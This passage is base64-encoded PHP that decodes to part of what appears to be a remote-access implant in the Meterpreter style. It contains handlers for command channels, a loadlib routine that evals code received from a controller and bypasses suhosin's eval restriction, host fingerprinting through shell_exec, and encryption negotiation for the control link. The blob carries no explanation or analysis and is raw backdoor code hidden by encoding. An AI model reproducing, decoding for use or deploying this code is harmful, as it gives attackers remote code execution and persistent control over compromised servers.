LiAkdHlwZV90bHZbJ3ZhbHVlJ10gLiIgY2hhbm5lbC4gPSgiKTsgJHJldCA9IEVSUk9SX0ZBSUxV
UkU7IH0gcmV0dXJuICRyZXQ7IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9jaGFubmVs
X2VvZicpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfY2hhbm5lbF9lb2YnLCBDT01NQU5EX0lE
X0NPUkVfQ0hBTk5FTF9FT0YpOyBmdW5jdGlvbiBjb3JlX2NoYW5uZWxfZW9mKCRyZXEsICYkcGt0
KSB7IG15X3ByaW50KCJkb2luZyBjaGFubmVsIGVvZiIpOyAkY2hhbl90bHYgPSBwYWNrZXRfZ2V0
X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFOTkVMX0lEKTsgJGMgPSBnZXRfY2hhbm5lbF9ieV9pZCgk
Y2hhbl90bHZbJ3ZhbHVlJ10pOyBpZiAoJGMpIHsgaWYgKGVvZigkY1sxXSkpIHsgcGFja2V0X2Fk
ZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9CT09MLCAxKSk7IH0gZWxzZSB7IHBhY2tl
dF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfQk9PTCwgMCkpOyB9IHJldHVybiBF
UlJPUl9TVUNDRVNTOyB9IGVsc2UgeyByZXR1cm4gRVJST1JfRkFJTFVSRTsgfSB9IH0gaWYgKCFm
dW5jdGlvbl9leGlzdHMoJ2NvcmVfY2hhbm5lbF9yZWFkJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgn
Y29yZV9jaGFubmVsX3JlYWQnLCBDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9SRUFEKTsgZnVuY3Rp
b24gY29yZV9jaGFubmVsX3JlYWQoJHJlcSwgJiRwa3QpIHsgbXlfcHJpbnQoImRvaW5nIGNoYW5u
ZWwgcmVhZCIpOyAkY2hhbl90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFO
TkVMX0lEKTsgJGxlbl90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9MRU5HVEgp
OyAkaWQgPSAkY2hhbl90bHZbJ3ZhbHVlJ107ICRsZW4gPSAkbGVuX3RsdlsndmFsdWUnXTsgJGRh
dGEgPSBjaGFubmVsX3JlYWQoJGlkLCAkbGVuKTsgaWYgKCRkYXRhID09PSBmYWxzZSkgeyAkcmVz
ID0gRVJST1JfRkFJTFVSRTsgfSBlbHNlIHsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3Rs
dihUTFZfVFlQRV9DSEFOTkVMX0RBVEEsICRkYXRhKSk7ICRyZXMgPSBFUlJPUl9TVUNDRVNTOyB9
IHJldHVybiAkcmVzOyB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfY2hhbm5lbF93cml0
ZScpKSB7IHJlZ2lzdGVyX2NvbW1hbmQoJ2NvcmVfY2hhbm5lbF93cml0ZScsIENPTU1BTkRfSURf
Q09SRV9DSEFOTkVMX1dSSVRFKTsgZnVuY3Rpb24gY29yZV9jaGFubmVsX3dyaXRlKCRyZXEsICYk
cGt0KSB7ICRjaGFuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0NIQU5ORUxf
SUQpOyAkZGF0YV90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFOTkVMX0RB
VEEpOyAkbGVuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0xFTkdUSCk7ICRp
ZCA9ICRjaGFuX3RsdlsndmFsdWUnXTsgJGRhdGEgPSAkZGF0YV90bHZbJ3ZhbHVlJ107ICRsZW4g
PSAkbGVuX3RsdlsndmFsdWUnXTsgJHdyb3RlID0gY2hhbm5lbF93cml0ZSgkaWQsICRkYXRhLCAk
bGVuKTsgaWYgKCR3cm90ZSA9PT0gZmFsc2UpIHsgcmV0dXJuIEVSUk9SX0ZBSUxVUkU7IH0gZWxz
ZSB7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfTEVOR1RILCAkd3Jv
dGUpKTsgcmV0dXJuIEVSUk9SX1NVQ0NFU1M7IH0gfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdj
b3JlX2NoYW5uZWxfY2xvc2UnKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2NoYW5uZWxfY2xv
c2UnLCBDT01NQU5EX0lEX0NPUkVfQ0hBTk5FTF9DTE9TRSk7IGZ1bmN0aW9uIGNvcmVfY2hhbm5l
bF9jbG9zZSgkcmVxLCAmJHBrdCkgeyBnbG9iYWwgJGNoYW5uZWxfcHJvY2Vzc19tYXA7IG15X3By
aW50KCJkb2luZyBjaGFubmVsIGNsb3NlIik7ICRjaGFuX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRy
ZXEsIFRMVl9UWVBFX0NIQU5ORUxfSUQpOyAkaWQgPSAkY2hhbl90bHZbJ3ZhbHVlJ107ICRjID0g
Z2V0X2NoYW5uZWxfYnlfaWQoJGlkKTsgaWYgKCRjKSB7IGNoYW5uZWxfY2xvc2VfaGFuZGxlcygk
aWQpOyBjaGFubmVsX3JlbW92ZSgkaWQpOyBpZiAoYXJyYXlfa2V5X2V4aXN0cygkaWQsICRjaGFu
bmVsX3Byb2Nlc3NfbWFwKSBhbmQgaXNfY2FsbGFibGUoJ2Nsb3NlX3Byb2Nlc3MnKSkgeyBjbG9z
ZV9wcm9jZXNzKCRjaGFubmVsX3Byb2Nlc3NfbWFwWyRpZF0pOyB9IHJldHVybiBFUlJPUl9TVUND
RVNTOyB9IGR1bXBfY2hhbm5lbHMoImFmdGVyIGNsb3NlIik7IHJldHVybiBFUlJPUl9GQUlMVVJF
OyB9IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NoYW5uZWxfY2xvc2VfaGFuZGxlcycpKSB7IGZ1
bmN0aW9uIGNoYW5uZWxfY2xvc2VfaGFuZGxlcygkY2lkKSB7IGdsb2JhbCAkY2hhbm5lbHM7IGlm
ICghYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2hhbm5lbHMpKSB7IHJldHVybjsgfSAkYyA9ICRj
aGFubmVsc1skY2lkXTsgZm9yKCRpID0gMDsgJGkgPCAzOyAkaSsrKSB7IGlmIChhcnJheV9rZXlf
ZXhpc3RzKCRpLCAkYykgJiYgaXNfcmVzb3VyY2UoJGNbJGldKSkgeyBjbG9zZSgkY1skaV0pOyBy
ZW1vdmVfcmVhZGVyKCRjWyRpXSk7IH0gfSBpZiAoc3RybGVuKCRjWydkYXRhJ10pID09IDApIHsg
Y2hhbm5lbF9yZW1vdmUoJGNpZCk7IH0gfSB9IGZ1bmN0aW9uIGNoYW5uZWxfcmVtb3ZlKCRjaWQp
IHsgZ2xvYmFsICRjaGFubmVsczsgdW5zZXQoJGNoYW5uZWxzWyRjaWRdKTsgfSBpZiAoIWZ1bmN0
aW9uX2V4aXN0cygnY29yZV9jaGFubmVsX2ludGVyYWN0JykpIHsgcmVnaXN0ZXJfY29tbWFuZCgn
Y29yZV9jaGFubmVsX2ludGVyYWN0JywgQ09NTUFORF9JRF9DT1JFX0NIQU5ORUxfSU5URVJBQ1Qp
OyBmdW5jdGlvbiBjb3JlX2NoYW5uZWxfaW50ZXJhY3QoJHJlcSwgJiRwa3QpIHsgZ2xvYmFsICRy
ZWFkZXJzOyBteV9wcmludCgiZG9pbmcgY2hhbm5lbCBpbnRlcmFjdCIpOyAkY2hhbl90bHYgPSBw
YWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DSEFOTkVMX0lEKTsgJGlkID0gJGNoYW5fdGx2
Wyd2YWx1ZSddOyAkdG9nZ2xlX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0JP
T0wpOyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRpZCk7IGlmICgkYykgeyBpZiAoJHRvZ2dsZV90
bHZbJ3ZhbHVlJ10pIHsgaWYgKCFpbl9hcnJheSgkY1sxXSwgJHJlYWRlcnMpKSB7IGFkZF9yZWFk
ZXIoJGNbMV0pOyBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkYykgJiYgJGNbMV0gIT0gJGNbMl0p
IHsgYWRkX3JlYWRlcigkY1syXSk7IH0gJHJldCA9IEVSUk9SX1NVQ0NFU1M7IH0gZWxzZSB7ICRy
ZXQgPSBFUlJPUl9GQUlMVVJFOyB9IH0gZWxzZSB7IGlmIChpbl9hcnJheSgkY1sxXSwgJHJlYWRl
cnMpKSB7IHJlbW92ZV9yZWFkZXIoJGNbMV0pOyByZW1vdmVfcmVhZGVyKCRjWzJdKTsgJHJldCA9
IEVSUk9SX1NVQ0NFU1M7IH0gZWxzZSB7ICRyZXQgPSBFUlJPUl9TVUNDRVNTOyB9IH0gfSBlbHNl
IHsgbXlfcHJpbnQoIlRyeWluZyB0byBpbnRlcmFjdCB3aXRoIGFuIGludmFsaWQgY2hhbm5lbCIp
OyAkcmV0ID0gRVJST1JfRkFJTFVSRTsgfSByZXR1cm4gJHJldDsgfSB9IGZ1bmN0aW9uIGludGVy
YWN0aW5nKCRjaWQpIHsgZ2xvYmFsICRyZWFkZXJzOyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRj
aWQpOyBpZiAoaW5fYXJyYXkoJGNbMV0sICRyZWFkZXJzKSkgeyByZXR1cm4gdHJ1ZTsgfSByZXR1
cm4gZmFsc2U7IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2NvcmVfc2h1dGRvd24nKSkgeyByZWdp
c3Rlcl9jb21tYW5kKCdjb3JlX3NodXRkb3duJywgQ09NTUFORF9JRF9DT1JFX1NIVVRET1dOKTsg
ZnVuY3Rpb24gY29yZV9zaHV0ZG93bigkcmVxLCAmJHBrdCkgeyBteV9wcmludCgiZG9pbmcgY29y
ZSBzaHV0ZG93biIpOyBkaWUoKTsgfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX2xvYWRs
aWInKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2xvYWRsaWInLCBDT01NQU5EX0lEX0NPUkVf
TE9BRExJQik7IGZ1bmN0aW9uIGNvcmVfbG9hZGxpYigkcmVxLCAmJHBrdCkgeyBnbG9iYWwgJGlk
MmY7IG15X3ByaW50KCJkb2luZyBjb3JlX2xvYWRsaWIiKTsgJGRhdGFfdGx2ID0gcGFja2V0X2dl
dF90bHYoJHJlcSwgVExWX1RZUEVfREFUQSk7IGlmICgoJGRhdGFfdGx2Wyd0eXBlJ10gJiBUTFZf
TUVUQV9UWVBFX0NPTVBSRVNTRUQpID09IFRMVl9NRVRBX1RZUEVfQ09NUFJFU1NFRCkgeyByZXR1
cm4gRVJST1JfRkFJTFVSRTsgfSAkdG1wID0gJGlkMmY7IGlmIChleHRlbnNpb25fbG9hZGVkKCdz
dWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAk
c3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkZGF0YV90bHZbJ3ZhbHVlJ10pOyAk
c3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkZGF0YV90bHZbJ3ZhbHVlJ10pOyB9ICRu
ZXcgPSBhcnJheV9kaWZmKCRpZDJmLCAkdG1wKTsgZm9yZWFjaCAoJG5ldyBhcyAkaWQgPT4gJGZ1
bmMpIHsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9VSU5ULCAkaWQp
KTsgfSByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3Jl
X2VudW1leHRjbWQnKSkgeyByZWdpc3Rlcl9jb21tYW5kKCdjb3JlX2VudW1leHRjbWQnLCBDT01N
QU5EX0lEX0NPUkVfRU5VTUVYVENNRCk7IGZ1bmN0aW9uIGNvcmVfZW51bWV4dGNtZCgkcmVxLCAm
JHBrdCkgeyBteV9wcmludCgiZG9pbmcgY29yZV9lbnVtZXh0Y21kIik7IGdsb2JhbCAkaWQyZjsg
JGlkX3N0YXJ0X2FycmF5ID0gcGFja2V0X2dldF90bHYoJHJlcSwgVExWX1RZUEVfVUlOVCk7ICRp
ZF9zdGFydCA9ICRpZF9zdGFydF9hcnJheVsndmFsdWUnXTsgJGlkX2VuZF9hcnJheSA9IHBhY2tl
dF9nZXRfdGx2KCRyZXEsIFRMVl9UWVBFX0xFTkdUSCk7ICRpZF9lbmQgPSAkaWRfZW5kX2FycmF5
Wyd2YWx1ZSddICsgJGlkX3N0YXJ0OyBmb3JlYWNoICgkaWQyZiBhcyAkaWQgPT4gJGV4dF9jbWQp
IHsgbXlfcHJpbnQoImNvcmVfZW51bWV4dGNtZCAtIGNoZWNraW5nICIgLiAkZXh0X2NtZCAuICIg
YXMgIiAuICRpZCk7IGxpc3QoJGV4dF9uYW1lLCAkY21kKSA9IGV4cGxvZGUoIl8iLCAkZXh0X2Nt
ZCwgMik7IGlmICgkaWRfc3RhcnQgPCAkaWQgJiYgJGlkIDwgJGlkX2VuZCkgeyBteV9wcmludCgi
Y29yZV9lbnVtZXh0Y21kIC0gYWRkaW5nICIgLiAkZXh0X2NtZCAuICIgYXMgIiAuICRpZCk7IHBh
Y2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfVUlOVCwgJGlkKSk7IH0gfSBy
ZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IGlmICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX3NldF91
dWlkJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9zZXRfdXVpZCcsIENPTU1BTkRfSURfQ09S
RV9TRVRfVVVJRCk7IGZ1bmN0aW9uIGNvcmVfc2V0X3V1aWQoJHJlcSwgJiRwa3QpIHsgbXlfcHJp
bnQoImRvaW5nIGNvcmVfc2V0X3V1aWQiKTsgJG5ld191dWlkID0gcGFja2V0X2dldF90bHYoJHJl
cSwgVExWX1RZUEVfVVVJRCk7IGlmICgkbmV3X3V1aWQgIT0gbnVsbCkgeyAkR0xPQkFMU1snVVVJ
RCddID0gJG5ld191dWlkWyd2YWx1ZSddOyBteV9wcmludCgiTmV3IFVVSUQgaXMgeyRHTE9CQUxT
WydVVUlEJ119Iik7IH0gcmV0dXJuIEVSUk9SX1NVQ0NFU1M7IH0gfSBmdW5jdGlvbiBnZXRfaGRk
X2xhYmVsKCkgeyBmb3JlYWNoIChzY2FuZGlyKCcvZGV2L2Rpc2svYnktaWQvJykgYXMgJGZpbGUp
IHsgZm9yZWFjaCAoYXJyYXkoImF0YS0iLCAibWItIikgYXMgJHByZWZpeCkgeyBpZiAoc3RycG9z
KCRmaWxlLCAkcHJlZml4KSA9PT0gMCkgeyByZXR1cm4gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJHBy
ZWZpeCkpOyB9IH0gfSByZXR1cm4gIiI7IH0gZnVuY3Rpb24gZGVyX3RvX3BlbSgkZGVyX2RhdGEp
IHsgJHBlbSA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJGRlcl9kYXRhKSwgNjQsICJcbiIp
OyAkcGVtID0gIi0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG4iLiRwZW0uIi0tLS0tRU5EIFBV
QkxJQyBLRVktLS0tLVxuIjsgcmV0dXJuICRwZW07IH0gaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2Nv
cmVfbmVnb3RpYXRlX3Rsdl9lbmNyeXB0aW9uJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9u
ZWdvdGlhdGVfdGx2X2VuY3J5cHRpb24nLCBDT01NQU5EX0lEX0NPUkVfTkVHT1RJQVRFX1RMVl9F
TkNSWVBUSU9OKTsgZnVuY3Rpb24gY29yZV9uZWdvdGlhdGVfdGx2X2VuY3J5cHRpb24oJHJlcSwg
JiRwa3QpIHsgaWYgKHN1cHBvcnRzX2FlcygpKSB7IG15X3ByaW50KCJBRVMgZnVuY3Rpb25hbGl0
eSBpcyBzdXBwb3J0ZWQiKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQ
RV9TWU1fS0VZX1RZUEUsIEVOQ19BRVMyNTYpKTsgJEdMT0JBTFNbJ0FFU19FTkFCTEVEJ10gPSBm
YWxzZTsgJEdMT0JBTFNbJ0FFU19LRVknXSA9IHJhbmRfYnl0ZXMoMzIpOyBpZiAoZnVuY3Rpb25f
ZXhpc3RzKCdvcGVuc3NsX3BrZXlfZ2V0X3B1YmxpYycpICYmIGZ1bmN0aW9uX2V4aXN0cygnb3Bl
bnNzbF9wdWJsaWNfZW5jcnlwdCcpKSB7IG15X3ByaW50KCJFbmNyeXB0aW9uIHZpYSBwdWJsaWMg
a2V5IGlzIHN1cHBvcnRlZCIpOyAkcHViX2tleV90bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBU
TFZfVFlQRV9SU0FfUFVCX0tFWSk7IGlmICgkcHViX2tleV90bHYgIT0gbnVsbCkgeyAka2V5ID0g
b3BlbnNzbF9wa2V5X2dldF9wdWJsaWMoZGVyX3RvX3BlbSgkcHViX2tleV90bHZbJ3ZhbHVlJ10p
KTsgJGVuYyA9ICcnOyBvcGVuc3NsX3B1YmxpY19lbmNyeXB0KCRHTE9CQUxTWydBRVNfS0VZJ10s
ICRlbmMsICRrZXksIE9QRU5TU0xfUEtDUzFfUEFERElORyk7IHBhY2tldF9hZGRfdGx2KCRwa3Qs
IGNyZWF0ZV90bHYoVExWX1RZUEVfRU5DX1NZTV9LRVksICRlbmMpKTsgcmV0dXJuIEVSUk9SX1NV
Q0NFU1M7IH0gfSBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1NZTV9L
RVksICRHTE9CQUxTWydBRVNfS0VZJ10pKTsgfSByZXR1cm4gRVJST1JfU1VDQ0VTUzsgfSB9IGlm
ICghZnVuY3Rpb25fZXhpc3RzKCdjb3JlX2dldF9zZXNzaW9uX2d1aWQnKSkgeyByZWdpc3Rlcl9j
b21tYW5kKCdjb3JlX2dldF9zZXNzaW9uX2d1aWQnLCBDT01NQU5EX0lEX0NPUkVfR0VUX1NFU1NJ
T05fR1VJRCk7IGZ1bmN0aW9uIGNvcmVfZ2V0X3Nlc3Npb25fZ3VpZCgkcmVxLCAmJHBrdCkgeyBw
YWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX1NFU1NJT05fR1VJRCwgJEdM
T0JBTFNbJ1NFU1NJT05fR1VJRCddKSk7IHJldHVybiBFUlJPUl9TVUNDRVNTOyB9IH0gaWYgKCFm
dW5jdGlvbl9leGlzdHMoJ2NvcmVfc2V0X3Nlc3Npb25fZ3VpZCcpKSB7IHJlZ2lzdGVyX2NvbW1h
bmQoJ2NvcmVfc2V0X3Nlc3Npb25fZ3VpZCcsIENPTU1BTkRfSURfQ09SRV9TRVRfU0VTU0lPTl9H
VUlEKTsgZnVuY3Rpb24gY29yZV9zZXRfc2Vzc2lvbl9ndWlkKCRyZXEsICYkcGt0KSB7IG15X3By
aW50KCJkb2luZyBjb3JlX3NldF9zZXNzaW9uX2d1aWQiKTsgJG5ld19ndWlkID0gcGFja2V0X2dl
dF90bHYoJHJlcSwgVExWX1RZUEVfU0VTU0lPTl9HVUlEKTsgaWYgKCRuZXdfZ3VpZCAhPSBudWxs
KSB7ICRHTE9CQUxTWydTRVNTSU9OX0lEJ10gPSAkbmV3X2d1aWRbJ3ZhbHVlJ107IG15X3ByaW50
KCJOZXcgU2Vzc2lvbiBHVUlEIGlzIHskR0xPQkFMU1snU0VTU0lPTl9HVUlEJ119Iik7IH0gcmV0
dXJuIEVSUk9SX1NVQ0NFU1M7IH0gfSBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnY29yZV9tYWNoaW5l
X2lkJykpIHsgcmVnaXN0ZXJfY29tbWFuZCgnY29yZV9tYWNoaW5lX2lkJywgQ09NTUFORF9JRF9D
T1JFX01BQ0hJTkVfSUQpOyBmdW5jdGlvbiBjb3JlX21hY2hpbmVfaWQoJHJlcSwgJiRwa3QpIHsg
bXlfcHJpbnQoImRvaW5nIGNvcmVfbWFjaGluZV9pZCIpOyBpZiAoaXNfY2FsbGFibGUoJ2dldGhv
c3RuYW1lJykpIHsgJG1hY2hpbmVfaWQgPSBnZXRob3N0bmFtZSgpOyB9IGVsc2UgeyAkbWFjaGlu
ZV9pZCA9IHBocF91bmFtZSgnbicpOyB9ICRzZXJpYWwgPSAiIjsgaWYgKGlzX3dpbmRvd3MoKSkg
eyAkb3V0cHV0ID0gc3RydG9sb3dlcihzaGVsbF9leGVjKCJ2b2wgJVNZU1RFTURSSVZFJSIpKTsg
JHNlcmlhbCA9IHByZWdfcmVwbGFjZSgnLy4qc2VyaWFsIG51bWJlciBpcyAoW2EtejAtOV17NH0t
W2EtejAtOV17NH0pLiovcycsICckMScsICRvdXRwdXQpOyB9IGVsc2UgeyAkc2VyaWFsID0gZ2V0
X2hkZF9sYWJlbCgpOyB9IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVf
TUFDSElORV9JRCwgJHNlcmlhbC4iOiIuJG1hY2hpbmVfaWQpKTsgcmV0dXJuIEVSUk9SX1NVQ0NF
U1M7IH0gfSAkY2hhbm5lbHMgPSBhcnJheSgpOyBmdW5jdGlvbiByZWdpc3Rlcl9jaGFubmVsKCRp
biwgJG91dD1udWxsLCAkZXJyPW51bGwpIHsgZ2xvYmFsICRjaGFubmVsczsgaWYgKCRvdXQgPT0g
bnVsbCkgeyAkb3V0ID0gJGluOyB9IGlmICgkZXJyID09IG51bGwpIHsgJGVyciA9ICRvdXQ7IH0g
JGNoYW5uZWxzW10gPSBhcnJheSgwID0+ICRpbiwgMSA9PiAkb3V0LCAyID0+ICRlcnIsICd0eXBl
JyA9PiBnZXRfcnR5cGUoJGluKSwgJ2RhdGEnID0+ICcnKTsgJGlkID0gZW5kKGFycmF5X2tleXMo
JGNoYW5uZWxzKSk7IG15X3ByaW50KCJDcmVhdGVkIG5ldyBjaGFubmVsICRpbiwgd2l0aCBpZCAk
aWQiKTsgcmV0dXJuICRpZDsgfSBmdW5jdGlvbiBnZXRfY2hhbm5lbF9pZF9mcm9tX3Jlc291cmNl
KCRyZXNvdXJjZSkgeyBnbG9iYWwgJGNoYW5uZWxzOyBpZiAoZW1wdHkoJGNoYW5uZWxzKSkgeyBy
ZXR1cm4gZmFsc2U7IH0gZm9yZWFjaCAoJGNoYW5uZWxzIGFzICRpID0+ICRjaGFuX2FyeSkgeyBp
ZiAoaW5fYXJyYXkoJHJlc291cmNlLCAkY2hhbl9hcnkpKSB7IG15X3ByaW50KCJGb3VuZCBjaGFu
bmVsIGlkICRpIik7IHJldHVybiAkaTsgfSB9IHJldHVybiBmYWxzZTsgfSBmdW5jdGlvbiAmZ2V0
X2NoYW5uZWxfYnlfaWQoJGNoYW5faWQpIHsgZ2xvYmFsICRjaGFubmVsczsgbXlfcHJpbnQoIkxv
b2tpbmcgdXAgY2hhbm5lbCBpZCAkY2hhbl9pZCIpOyBpZiAoYXJyYXlfa2V5X2V4aXN0cygkY2hh
bl9pZCwgJGNoYW5uZWxzKSkgeyBteV9wcmludCgiRm91bmQgb25lIik7IHJldHVybiAkY2hhbm5l
bHNbJGNoYW5faWRdOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0gfSBmdW5jdGlvbiBjaGFubmVs
X3dyaXRlKCRjaGFuX2lkLCAkZGF0YSkgeyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRjaGFuX2lk
KTsgaWYgKCRjICYmIGlzX3Jlc291cmNlKCRjWzBdKSkgeyBteV9wcmludCgiLS0tV3JpdGluZyAn
JGRhdGEnIHRvIGNoYW5uZWwgJGNoYW5faWQiKTsgcmV0dXJuIHdyaXRlKCRjWzBdLCAkZGF0YSk7
IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGZ1bmN0aW9uIGNoYW5uZWxfcmVhZCgkY2hhbl9p
ZCwgJGxlbikgeyAkYyA9ICZnZXRfY2hhbm5lbF9ieV9pZCgkY2hhbl9pZCk7IGlmICgkYykgeyAk
cmV0ID0gc3Vic3RyKCRjWydkYXRhJ10sIDAsICRsZW4pOyAkY1snZGF0YSddID0gc3Vic3RyKCRj
WydkYXRhJ10sICRsZW4pOyBpZiAoc3RybGVuKCRyZXQpID4gMCkgeyBteV9wcmludCgiSGFkIHNv
bWUgbGVmdG92ZXJzOiAnJHJldCciKTsgfSBpZiAoc3RybGVuKCRyZXQpIDwgJGxlbiBhbmQgaXNf
cmVzb3VyY2UoJGNbMl0pIGFuZCAkY1sxXSAhPSAkY1syXSkgeyAkcmVhZCA9IHJlYWQoJGNbMl0p
OyAkY1snZGF0YSddIC49ICRyZWFkOyAkYnl0ZXNfbmVlZGVkID0gJGxlbiAtIHN0cmxlbigkcmV0
KTsgJHJldCAuPSBzdWJzdHIoJGNbJ2RhdGEnXSwgMCwgJGJ5dGVzX25lZWRlZCk7ICRjWydkYXRh
J10gPSBzdWJzdHIoJGNbJ2RhdGEnXSwgJGJ5dGVzX25lZWRlZCk7IH0gaWYgKHN0cmxlbigkcmV0
KSA8ICRsZW4gYW5kIGlzX3Jlc291cmNlKCRjWzFdKSkgeyAkcmVhZCA9IHJlYWQoJGNbMV0pOyAk
Y1snZGF0YSddIC49ICRyZWFkOyAkYnl0ZXNfbmVlZGVkID0gJGxlbiAtIHN0cmxlbigkcmV0KTsg
JHJldCAuPSBzdWJzdHIoJGNbJ2RhdGEnXSwgMCwgJGJ5dGVzX25lZWRlZCk7ICRjWydkYXRhJ10g
PSBzdWJzdHIoJGNbJ2RhdGEnXSwgJGJ5dGVzX25lZWRlZCk7IH0gaWYgKGZhbHNlID09PSAkcmVh
ZCBhbmQgZW1wdHkoJHJldCkpIHsgaWYgKGludGVyYWN0aW5nKCRjaGFuX2lkKSkgeyBoYW5kbGVf
ZGVhZF9yZXNvdXJjZV9jaGFubmVsKCRjWzFdKTsgfSByZXR1cm4gZmFsc2U7IH0gcmV0dXJuICRy
ZXQ7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGZ1bmN0aW9uIHJhbmRfeG9yX2J5dGUoKSB7
IHJldHVybiBjaHIobXRfcmFuZCgxLCAyNTUpKTsgfSBmdW5jdGlvbiByYW5kX2J5dGVzKCRzaXpl
KSB7ICRiID0gJyc7IGZvciAoJGkgPSAwOyAkaSA8ICRzaXplOyAkaSsrKSB7ICRiIC49IHJhbmRf
eG9yX2J5dGUoKTsgfSByZXR1cm4gJGI7IH0gZnVuY3Rpb24gcmFuZF94b3Jfa2V5KCkgeyByZXR1
cm4gcmFuZF9ieXRlcyg0KTsgfSBmdW5jdGlvbiB4b3JfYnl0ZXMoJGtleSwgJGRhdGEpIHsgJHJl
c3VsdCA9ICcnOyBmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJGRhdGEpOyArKyRpKSB7ICRyZXN1
bHQgLj0gJGRhdGFbJGldIF4gJGtleVskaSAlIDRdOyB9IHJldHVybiAkcmVzdWx0OyB9IGZ1bmN0
aW9uIGdlbmVyYXRlX3JlcV9pZCgpIHsgJGNoYXJhY3RlcnMgPSAnYWJjZGVmZ2hpamtsbW5vcHFy
c3R1dnd4eXonOyAkcmlkID0gJyc7IGZvciAoJHAgPSAwOyAkcCA8IDMyOyAkcCsrKSB7ICRyaWQg
Lj0gJGNoYXJhY3RlcnNbcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpLTEpXTsgfSByZXR1cm4g
JHJpZDsgfSBmdW5jdGlvbiBzdXBwb3J0c19hZXMoKSB7IHJldHVybiBmdW5jdGlvbl9leGlzdHMo
J29wZW5zc2xfZGVjcnlwdCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnb3BlbnNzbF9lbmNyeXB0Jyk7
IH0gZnVuY3Rpb24gZGVjcnlwdF9wYWNrZXQoJHJhdykgeyAkbGVuX2FycmF5ID0gdW5wYWNrKCJO
bGVuIiwgc3Vic3RyKCRyYXcsIDIwLCA0KSk7ICRlbmNyeXB0X2ZsYWdzID0gJGxlbl9hcnJheVsn
bGVuJ107IGlmICgkZW5jcnlwdF9mbGFncyA9PSBFTkNfQUVTMjU2ICYmIHN1cHBvcnRzX2Flcygp
ICYmICRHTE9CQUxTWydBRVNfS0VZJ10gIT0gbnVsbCkgeyAkdGx2ID0gc3Vic3RyKCRyYXcsIDI0
KTsgJGRlYyA9IG9wZW5zc2xfZGVjcnlwdChzdWJzdHIoJHRsdiwgMjQpLCBBRVNfMjU2X0NCQywg
JEdMT0JBTFNbJ0FFU19LRVknXSwgT1BFTlNTTF9SQVdfREFUQSwgc3Vic3RyKCR0bHYsIDgsIDE2
KSk7IHJldHVybiBwYWNrKCJOIiwgc3RybGVuKCRkZWMpICsgOCkgLiBzdWJzdHIoJHRsdiwgNCwg
NCkgLiAkZGVjOyB9IHJldHVybiBzdWJzdHIoJHJhdywgMjQpOyB9IGZ1bmN0aW9uIGVuY3J5cHRf
